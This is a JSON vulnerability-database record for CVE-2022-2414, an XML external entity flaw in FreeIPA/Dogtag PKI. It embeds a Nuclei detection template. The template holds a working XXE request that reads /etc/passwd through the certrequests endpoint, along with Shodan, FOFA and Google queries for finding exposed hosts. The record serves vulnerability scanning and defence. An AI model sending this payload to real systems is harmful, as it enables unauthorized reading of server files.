{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-2414/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-2414/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-2414/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-2414/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-2414/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-2414"},"sightings":{"href":"/api/v1/sightings/cve-2022-2414"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-2414.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2022-2414\n\ninfo:\n  name: FreeIPA - XML Entity Injection\n  author: DhiyaneshDk\n  severity: high\n  description: |\n    Access to external entities when parsing XML documents can lead to XML external entity (XXE) attacks. This flaw allows a remote attacker to potentially retrieve the content of arbitrary files by sending specially crafted HTTP requests.\n  impact: |\n    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information stored on the server.\n  remediation: |\n    Apply the latest security patches and updates provided by the vendor to fix the XML Entity Injection vulnerability in FreeIPA.\n  reference:\n    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/Dogtag/Dogtag%20PKI%20XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2022-2414.md\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-2414\n    - https://github.com/dogtagpki/pki/pull/4021\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2022-2414\n    cwe-id: CWE-611\n    epss-score: 0.85969\n    epss-percentile: 0.99723\n    cpe: cpe:2.3:a:dogtagpki:dogtagpki:10.5.18:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: dogtagpki\n    product: dogtagpki\n    shodan-query:\n      - title:\"Identity Management\" html:\"FreeIPA\"\n      - http.title:\"identity management\" html:\"freeipa\"\n    fofa-query:\n      - title=\"Identity Management\"\n      - title=\"identity management\"\n      - title=\"identity management\" html:\"freeipa\"\n    google-query: intitle:\"identity management\" html:\"freeipa\"\n  tags: cve,cve2022,dogtag,freeipa,xxe,dogtagpki,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /ca/rest/certrequests HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/xml\n\n        <!--?xml version=\"1.0\" ?-->\n        <!DOCTYPE replace [<!ENTITY ent SYSTEM \"file:///etc/passwd\"> ]>\n        <CertEnrollmentRequest>\n          <Attributes/>\n          <ProfileID>&ent;</ProfileID>\n        </CertEnrollmentRequest>\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: word\n        part: body\n        words:\n          - \"PKIException\"\n\n      - type: word\n        part: header\n        words:\n          - \"application/xml\"\n\n      - type: status\n        status:\n          - 400\n# digest: 490a0046304402207138ecfca76c3124ce9c8d80e8f8fe0a90ce17c7265936dd7631e26408c619f50220487726f19977fb8dac9bfcfb6b5a6810e77642331d178fefe59eecb26a014605:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2022-2414"}